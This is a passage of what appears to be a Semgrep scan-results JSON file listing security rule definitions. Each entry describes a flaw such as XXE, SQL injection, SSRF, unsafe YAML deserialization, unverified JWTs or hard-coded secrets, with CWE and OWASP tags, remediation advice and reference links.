of this call to ensure it is not controllable by an external resource. You may consider using 'shlex.escape()'."},"helpUri":"https://semgrep.dev/r/python.aws-lambda.security.dangerous-asyncio-exec.dangerous-asyncio-exec","id":"python.aws-lambda.security.dangerous-asyncio-exec.dangerous-asyncio-exec","name":"python.aws-lambda.security.dangerous-asyncio-exec.dangerous-asyncio-exec","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.aws-lambda.security.dangerous-asyncio-exec.dangerous-asyncio-exec"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. The current configuration allows for XXE attacks through parameter entities. It is our recommendation to secure this parser against XXE attacks by configuring $PARSER with `$PARSER.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations also provide protection against XXE attacks with parameter entities. `$PARSER.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")` `$PARSER.setFeature(\"http://xml.org/sax/features/external-parameter-entities\", false)`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"help":{"markdown":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. The current configuration allows for XXE attacks through parameter entities. It is our recommendation to secure this parser against XXE attacks by configuring $PARSER with `$PARSER.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations also provide protection against XXE attacks with parameter entities. `$PARSER.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")` `$PARSER.setFeature(\"http://xml.org/sax/features/external-parameter-entities\", false)`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/kotlin.xxe.saxbuilder-xxe-parameter-entities.saxbuilder-xxe-parameter-entities)\n - [https://blog.sonarsource.com/secure-xml-processor/](https://blog.sonarsource.com/secure-xml-processor/)\n - [https://blog.sonarsource.com/understanding-xxe-vulnerabilities/](https://blog.sonarsource.com/understanding-xxe-vulnerabilities/)\n - [https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html)\n - [https://cwe.mitre.org/data/definitions/776.html](https://cwe.mitre.org/data/definitions/776.html)\n - [https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E](https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E)\n - [https://github.com/returntocorp/java-xxe-research](https://github.com/returntocorp/java-xxe-research)\n - [https://owasp.org/Top10/A05_2021-Security_Misconfiguration](https://owasp.org/Top10/A05_2021-Security_Misconfiguration)\n - [https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755](https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755)\n - [https://semgrep.dev/blog/2022/xml-security-in-java](https://semgrep.dev/blog/2022/xml-security-in-java)\n - [https://semgrep.dev/docs/cheat-sheets/java-xxe/](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n","text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. The current configuration allows for XXE attacks through parameter entities. It is our recommendation to secure this parser against XXE attacks by configuring $PARSER with `$PARSER.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations also provide protection against XXE attacks with parameter entities. `$PARSER.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")` `$PARSER.setFeature(\"http://xml.org/sax/features/external-parameter-entities\", false)`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"helpUri":"https://semgrep.dev/r/kotlin.xxe.saxbuilder-xxe-parameter-entities.saxbuilder-xxe-parameter-entities","id":"kotlin.xxe.saxbuilder-xxe-parameter-entities.saxbuilder-xxe-parameter-entities","name":"kotlin.xxe.saxbuilder-xxe-parameter-entities.saxbuilder-xxe-parameter-entities","properties":{"precision":"very-high","tags":["CWE-776: Improper Restriction of Recursive Entity References in DTDs ('XML Entity Expansion')","MEDIUM CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: kotlin.xxe.saxbuilder-xxe-parameter-entities.saxbuilder-xxe-parameter-entities"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Checks for attempts to connect through telnet. This is insecure as the telnet protocol supports no encryption, and data passes through unencrypted."},"help":{"markdown":"Checks for attempts to connect through telnet. This is insecure as the telnet protocol supports no encryption, and data passes through unencrypted.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/problem-based-packs.insecure-transport.java-stdlib.telnet-request.telnet-request)\n - [https://commons.apache.org/proper/commons-net/javadocs/api-3.6/org/apache/commons/net/telnet/TelnetClient.html](https://commons.apache.org/proper/commons-net/javadocs/api-3.6/org/apache/commons/net/telnet/TelnetClient.html)\n","text":"Checks for attempts to connect through telnet. This is insecure as the telnet protocol supports no encryption, and data passes through unencrypted."},"helpUri":"https://semgrep.dev/r/problem-based-packs.insecure-transport.java-stdlib.telnet-request.telnet-request","id":"problem-based-packs.insecure-transport.java-stdlib.telnet-request.telnet-request","name":"problem-based-packs.insecure-transport.java-stdlib.telnet-request.telnet-request","properties":{"precision":"very-high","tags":["CWE-319: Cleartext Transmission of Sensitive Information","MEDIUM CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: problem-based-packs.insecure-transport.java-stdlib.telnet-request.telnet-request"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Detected a possible YAML deserialization vulnerability. `yaml.unsafe_load`, `yaml.Loader`, `yaml.CLoader`, and `yaml.UnsafeLoader` are all known to be unsafe methods of deserializing YAML. An attacker with control over the YAML input could create special YAML input that allows the attacker to run arbitrary Python code. This would allow the attacker to steal files, download and install malware, or otherwise take over the machine. Use `yaml.safe_load` or `yaml.SafeLoader` instead."},"help":{"markdown":"Detected a possible YAML deserialization vulnerability. `yaml.unsafe_load`, `yaml.Loader`, `yaml.CLoader`, and `yaml.UnsafeLoader` are all known to be unsafe methods of deserializing YAML. An attacker with control over the YAML input could create special YAML input that allows the attacker to run arbitrary Python code. This would allow the attacker to steal files, download and install malware, or otherwise take over the machine. Use `yaml.safe_load` or `yaml.SafeLoader` instead.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.security.deserialization.avoid-pyyaml-load.avoid-pyyaml-load)\n - [https://github.com/yaml/pyyaml/wiki/PyYAML-yaml.load(input)-Deprecation](https://github.com/yaml/pyyaml/wiki/PyYAML-yaml.load(input)-Deprecation)\n - [https://nvd.nist.gov/vuln/detail/CVE-2017-18342](https://nvd.nist.gov/vuln/detail/CVE-2017-18342)\n","text":"Detected a possible YAML deserialization vulnerability. `yaml.unsafe_load`, `yaml.Loader`, `yaml.CLoader`, and `yaml.UnsafeLoader` are all known to be unsafe methods of deserializing YAML. An attacker with control over the YAML input could create special YAML input that allows the attacker to run arbitrary Python code. This would allow the attacker to steal files, download and install malware, or otherwise take over the machine. Use `yaml.safe_load` or `yaml.SafeLoader` instead."},"helpUri":"https://semgrep.dev/r/python.lang.security.deserialization.avoid-pyyaml-load.avoid-pyyaml-load","id":"python.lang.security.deserialization.avoid-pyyaml-load.avoid-pyyaml-load","name":"python.lang.security.deserialization.avoid-pyyaml-load.avoid-pyyaml-load","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","MEDIUM CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.security.deserialization.avoid-pyyaml-load.avoid-pyyaml-load"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected SQL statement that is tainted by `event` object. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, use parameterized queries or prepared statements instead. You can use parameterized statements like so: `cursor.execute('SELECT * FROM projects WHERE status = %s', 'active')`"},"help":{"markdown":"Detected SQL statement that is tainted by `event` object. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, use parameterized queries or prepared statements instead. You can use parameterized statements like so: `cursor.execute('SELECT * FROM projects WHERE status = %s', 'active')`\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.aws-lambda.security.pymssql-sqli.pymssql-sqli)\n - [https://pypi.org/project/pymssql/](https://pypi.org/project/pymssql/)\n","text":"Detected SQL statement that is tainted by `event` object. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, use parameterized queries or prepared statements instead. You can use parameterized statements like so: `cursor.execute('SELECT * FROM projects WHERE status = %s', 'active')`"},"helpUri":"https://semgrep.dev/r/python.aws-lambda.security.pymssql-sqli.pymssql-sqli","id":"python.aws-lambda.security.pymssql-sqli.pymssql-sqli","name":"python.aws-lambda.security.pymssql-sqli.pymssql-sqli","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.aws-lambda.security.pymssql-sqli.pymssql-sqli"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. PyYAML's `yaml` module is as powerful as `pickle` and so may call auny Python function. It is recommended to secure your application by using `yaml.SafeLoader` or `yaml.CSafeLoader`."},"help":{"markdown":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. PyYAML's `yaml` module is as powerful as `pickle` and so may call auny Python function. It is recommended to secure your application by using `yaml.SafeLoader` or `yaml.CSafeLoader`.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.fastapi.deserialization.tainted-pyyaml-fastapi.tainted-pyyaml-fastapi)\n - [https://cwe.mitre.org/data/definitions/502.html](https://cwe.mitre.org/data/definitions/502.html)\n - [https://github.com/yaml/pyyaml/wiki/PyYAML-yaml.load(input)-Deprecation](https://github.com/yaml/pyyaml/wiki/PyYAML-yaml.load(input)-Deprecation)\n - [https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html](https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html)\n - [https://nvd.nist.gov/vuln/detail/CVE-2017-18342](https://nvd.nist.gov/vuln/detail/CVE-2017-18342)\n - [https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures](https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures)\n - [https://portswigger.net/web-security/deserialization](https://portswigger.net/web-security/deserialization)\n","text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. PyYAML's `yaml` module is as powerful as `pickle` and so may call auny Python function. It is recommended to secure your application by using `yaml.SafeLoader` or `yaml.CSafeLoader`."},"helpUri":"https://semgrep.dev/r/python.fastapi.deserialization.tainted-pyyaml-fastapi.tainted-pyyaml-fastapi","id":"python.fastapi.deserialization.tainted-pyyaml-fastapi.tainted-pyyaml-fastapi","name":"python.fastapi.deserialization.tainted-pyyaml-fastapi.tainted-pyyaml-fastapi","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","HIGH CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.fastapi.deserialization.tainted-pyyaml-fastapi.tainted-pyyaml-fastapi"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"User data flows into the host portion of this manually-constructed URL. This could allow an attacker to send data to their own server, potentially exposing sensitive data such as cookies or authorization information sent with this request. They could also probe internal servers or other resources that the server running this code can access. (This is called server-side request forgery, or SSRF.) Do not allow arbitrary hosts. Instead, create an allowlist for approved hosts, or hardcode the correct host."},"help":{"markdown":"User data flows into the host portion of this manually-constructed URL. This could allow an attacker to send data to their own server, potentially exposing sensitive data such as cookies or authorization information sent with this request. They could also probe internal servers or other resources that the server running this code can access. (This is called server-side request forgery, or SSRF.) Do not allow arbitrary hosts. Instead, create an allowlist for approved hosts, or hardcode the correct host.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.security.injection.tainted-url-host.tainted-url-host)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet.html)\n","text":"User data flows into the host portion of this manually-constructed URL. This could allow an attacker to send data to their own server, potentially exposing sensitive data such as cookies or authorization information sent with this request. They could also probe internal servers or other resources that the server running this code can access. (This is called server-side request forgery, or SSRF.) Do not allow arbitrary hosts. Instead, create an allowlist for approved hosts, or hardcode the correct host."},"helpUri":"https://semgrep.dev/r/python.django.security.injection.tainted-url-host.tainted-url-host","id":"python.django.security.injection.tainted-url-host.tainted-url-host","name":"python.django.security.injection.tainted-url-host.tainted-url-host","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","LOW CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.security.injection.tainted-url-host.tainted-url-host"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Found that the setting for providing detailed exception reports in Rails is set to true. This can lead to information exposure, where sensitive system or internal information is displayed to the end user. Instead, turn this setting off."},"help":{"markdown":"Found that the setting for providing detailed exception reports in Rails is set to true. This can lead to information exposure, where sensitive system or internal information is displayed to the end user. Instead, turn this setting off.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.rails.security.audit.detailed-exceptions.detailed-exceptions)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n","text":"Found that the setting for providing detailed exception reports in Rails is set to true. This can lead to information exposure, where sensitive system or internal information is displayed to the end user. Instead, turn this setting off."},"helpUri":"https://semgrep.dev/r/ruby.rails.security.audit.detailed-exceptions.detailed-exceptions","id":"ruby.rails.security.audit.detailed-exceptions.detailed-exceptions","name":"ruby.rails.security.audit.detailed-exceptions.detailed-exceptions","properties":{"precision":"very-high","tags":["CWE-200: Exposure of Sensitive Information to an Unauthorized Actor","LOW CONFIDENCE","OWASP-A01:2021 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.rails.security.audit.detailed-exceptions.detailed-exceptions"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Avoid using `jsonpickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data using `json` module."},"help":{"markdown":"Avoid using `jsonpickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data using `json` module.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.security.deserialization.avoid-jsonpickle.avoid-jsonpickle)\n - [https://github.com/jsonpickle/jsonpickle#jsonpickle](https://github.com/jsonpickle/jsonpickle#jsonpickle)\n - [https://www.exploit-db.com/exploits/49585](https://www.exploit-db.com/exploits/49585)\n","text":"Avoid using `jsonpickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data using `json` module."},"helpUri":"https://semgrep.dev/r/python.lang.security.deserialization.avoid-jsonpickle.avoid-jsonpickle","id":"python.lang.security.deserialization.avoid-jsonpickle.avoid-jsonpickle","name":"python.lang.security.deserialization.avoid-jsonpickle.avoid-jsonpickle","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","LOW CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.security.deserialization.avoid-jsonpickle.avoid-jsonpickle"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Detected JWT token decoded with 'verify=False'. This bypasses any integrity checks for the token which means the token could be tampered with by malicious actors. Ensure that the JWT token is verified."},"help":{"markdown":"Detected JWT token decoded with 'verify=False'. This bypasses any integrity checks for the token which means the token could be tampered with by malicious actors. Ensure that the JWT token is verified.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.jwt.security.unverified-jwt-decode.unverified-jwt-decode)\n - [https://github.com/we45/Vulnerable-Flask-App/blob/752ee16087c0bfb79073f68802d907569a1f0df7/app/app.py#L96](https://github.com/we45/Vulnerable-Flask-App/blob/752ee16087c0bfb79073f68802d907569a1f0df7/app/app.py#L96)\n","text":"Detected JWT token decoded with 'verify=False'. This bypasses any integrity checks for the token which means the token could be tampered with by malicious actors. Ensure that the JWT token is verified."},"helpUri":"https://semgrep.dev/r/python.jwt.security.unverified-jwt-decode.unverified-jwt-decode","id":"python.jwt.security.unverified-jwt-decode.unverified-jwt-decode","name":"python.jwt.security.unverified-jwt-decode.unverified-jwt-decode","properties":{"precision":"very-high","tags":["CWE-287: Improper Authentication","MEDIUM CONFIDENCE","OWASP-A02:2017 - Broken Authentication","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.jwt.security.unverified-jwt-decode.unverified-jwt-decode"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected SHA1 hash algorithm which is considered insecure. SHA1 is not collision resistant and is therefore not suitable as a cryptographic signature. Use SHA256 or SHA3 instead."},"help":{"markdown":"Detected SHA1 hash algorithm which is considered insecure. SHA1 is not collision resistant and is therefore not suitable as a cryptographic signature. Use SHA256 or SHA3 instead.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.security.insecure-hash-algorithms.insecure-hash-algorithm-sha1)\n - [https://www.schneier.com/blog/archives/2012/10/when_will_we_se.html](https://www.schneier.com/blog/archives/2012/10/when_will_we_se.html)\n - [https://www.trendmicro.com/vinfo/us/security/news/vulnerabilities-and-exploits/sha-1-collision-signals-the-end-of-the-algorithm-s-viability](https://www.trendmicro.com/vinfo/us/security/news/vulnerabilities-and-exploits/sha-1-collision-signals-the-end-of-the-algorithm-s-viability)\n - [http://2012.sharcs.org/slides/stevens.pdf](http://2012.sharcs.org/slides/stevens.pdf)\n - [https://pycryptodome.readthedocs.io/en/latest/src/hash/sha3_256.html](https://pycryptodome.readthedocs.io/en/latest/src/hash/sha3_256.html)\n","text":"Detected SHA1 hash algorithm which is considered insecure. SHA1 is not collision resistant and is therefore not suitable as a cryptographic signature. Use SHA256 or SHA3 instead."},"helpUri":"https://semgrep.dev/r/python.lang.security.insecure-hash-algorithms.insecure-hash-algorithm-sha1","id":"python.lang.security.insecure-hash-algorithms.insecure-hash-algorithm-sha1","name":"python.lang.security.insecure-hash-algorithms.insecure-hash-algorithm-sha1","properties":{"precision":"very-high","tags":["CWE-327: Use of a Broken or Risky Cryptographic Algorithm","MEDIUM CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.security.insecure-hash-algorithms.insecure-hash-algorithm-sha1"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"If unverified user data can reach the `evaluate` method it can result in Server-Side Request Forgery vulnerabilities"},"help":{"markdown":"If unverified user data can reach the `evaluate` method it can result in Server-Side Request Forgery vulnerabilities\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.playwright.security.audit.playwright-evaluate-arg-injection.playwright-evaluate-arg-injection)\n - [https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29](https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29)\n","text":"If unverified user data can reach the `evaluate` method it can result in Server-Side Request Forgery vulnerabilities"},"helpUri":"https://semgrep.dev/r/javascript.playwright.security.audit.playwright-evaluate-arg-injection.playwright-evaluate-arg-injection","id":"javascript.playwright.security.audit.playwright-evaluate-arg-injection.playwright-evaluate-arg-injection","name":"javascript.playwright.security.audit.playwright-evaluate-arg-injection.playwright-evaluate-arg-injection","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","LOW CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.playwright.security.audit.playwright-evaluate-arg-injection.playwright-evaluate-arg-injection"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Initialization Vectors (IVs) for block ciphers should be randomly generated each time they are used. Using a static IV means the same plaintext encrypts to the same ciphertext every time, weakening the strength of the encryption."},"help":{"markdown":"Initialization Vectors (IVs) for block ciphers should be randomly generated each time they are used. Using a static IV means the same plaintext encrypts to the same ciphertext every time, weakening the strength of the encryption.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/swift.commoncrypto.hardcoded-iv.hardcoded-iv)\n - [https://mobile-security.gitbook.io/masvs/security-requirements/0x08-v3-cryptography_verification_requirements](https://mobile-security.gitbook.io/masvs/security-requirements/0x08-v3-cryptography_verification_requirements)\n","text":"Initialization Vectors (IVs) for block ciphers should be randomly generated each time they are used. Using a static IV means the same plaintext encrypts to the same ciphertext every time, weakening the strength of the encryption."},"helpUri":"https://semgrep.dev/r/swift.commoncrypto.hardcoded-iv.hardcoded-iv","id":"swift.commoncrypto.hardcoded-iv.hardcoded-iv","name":"swift.commoncrypto.hardcoded-iv.hardcoded-iv","properties":{"precision":"very-high","tags":["CWE-329: Not using a random initialization Vector (IV) with Cipher Block Chaining (CBC) Mode causes algorithms to be susceptible to dictionary attacks.","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","security"]},"shortDescription":{"text":"Semgrep Finding: swift.commoncrypto.hardcoded-iv.hardcoded-iv"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.axios.hardcoded-basic-token.hardcoded-basic-token)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/javascript.axios.hardcoded-basic-token.hardcoded-basic-token","id":"javascript.axios.hardcoded-basic-token.hardcoded-basic-token","name":"javascript.axios.hardcoded-basic-token.hardcoded-basic-token","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.axios.hardcoded-basic-token.hardcoded-basic-token"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Private Key detected. This is a sensitive credential and should not be hardcoded here. Instead, store this in a separate, private file."},"help":{"markdown":"Private Key detected. This is a sensitive credential and should not be hardcoded here. Instead, store this in a separate, private file.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/generic.secrets.security.detected-private-key.detected-private-key)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"Private Key detected. This is a sensitive credential and should not be hardcoded here. Instead, store this in a separate, private file."},"helpUri":"https://semgrep.dev/r/generic.secrets.security.detected-private-key.detected-private-key","id":"generic.secrets.security.detected-private-key.detected-private-key","name":"generic.secrets.security.detected-private-key.detected-private-key","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","LOW CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: generic.secrets.security.detected-private-key.detected-private-key"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Avoid using 'scanf()'. This function, when used improperly, does not consider buffer boundaries and can lead to buffer overflows. Use 'fgets()' instead for reading input."},"help":{"markdown":"Avoid using 'scanf()'. This function, when used improperly, does not consider buffer boundaries and can lead to buffer overflows. Use 'fgets()' instead for reading input.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/c.lang.security.insecure-use-scanf-fn.insecure-use-scanf-fn)\n - [http://sekrit.de/webdocs/c/beginners-guide-away-from-scanf.html](http://sekrit.de/webdocs/c/beginners-guide-away-from-scanf.html)\n","text":"Avoid using 'scanf()'. This function, when used improperly, does not consider buffer boundaries and can lead to buffer overflows. Use 'fgets()' instead for reading input."},"helpUri":"https://semgrep.dev/r/c.lang.security.insecure-use-scanf-fn.insecure-use-scanf-fn","id":"c.lang.security.insecure-use-scanf-fn.insecure-use-scanf-fn","name":"c.lang.security.insecure-use-scanf-fn.insecure-use-scanf-fn","properties":{"precision":"very-high","tags":["CWE-676: Use of Potentially Dangerous Function","LOW CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: c.lang.security.insecure-use-scanf-fn.insecure-use-scanf-fn"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"FTP allows for unencrypted file transfers. Consider using an encrypted alternative."},"help":{"markdown":"FTP allows for unencrypted file transfers. Consider using an encrypted alternative.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/php.lang.security.ftp-use.ftp-use)\n - [https://www.php.net/manual/en/intro.ftp.php](https://www.php.net/manual/en/intro.ftp.php)\n - [https://github.com/FloeDesignTechnologies/phpcs-security-audit/blob/master/Security/Sniffs/BadFunctions/FringeFunctionsSniff.php](https://github.com/FloeDesignTechnologies/phpcs-security-audit/blob/master/Security/Sniffs/BadFunctions/FringeFunctionsSniff.php)\n","text":"FTP allows for unencrypted file transfers. Consider using an encrypted alternative."},"helpUri":"https://semgrep.dev/r/php.lang.security.ftp-use.ftp-use","id":"php.lang.security.ftp-use.ftp-use","name":"php.lang.security.ftp-use.ftp-use","properties":{"precision":"very-high","tags":["CWE-319: Cleartext Transmission of Sensitive Information","LOW CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep 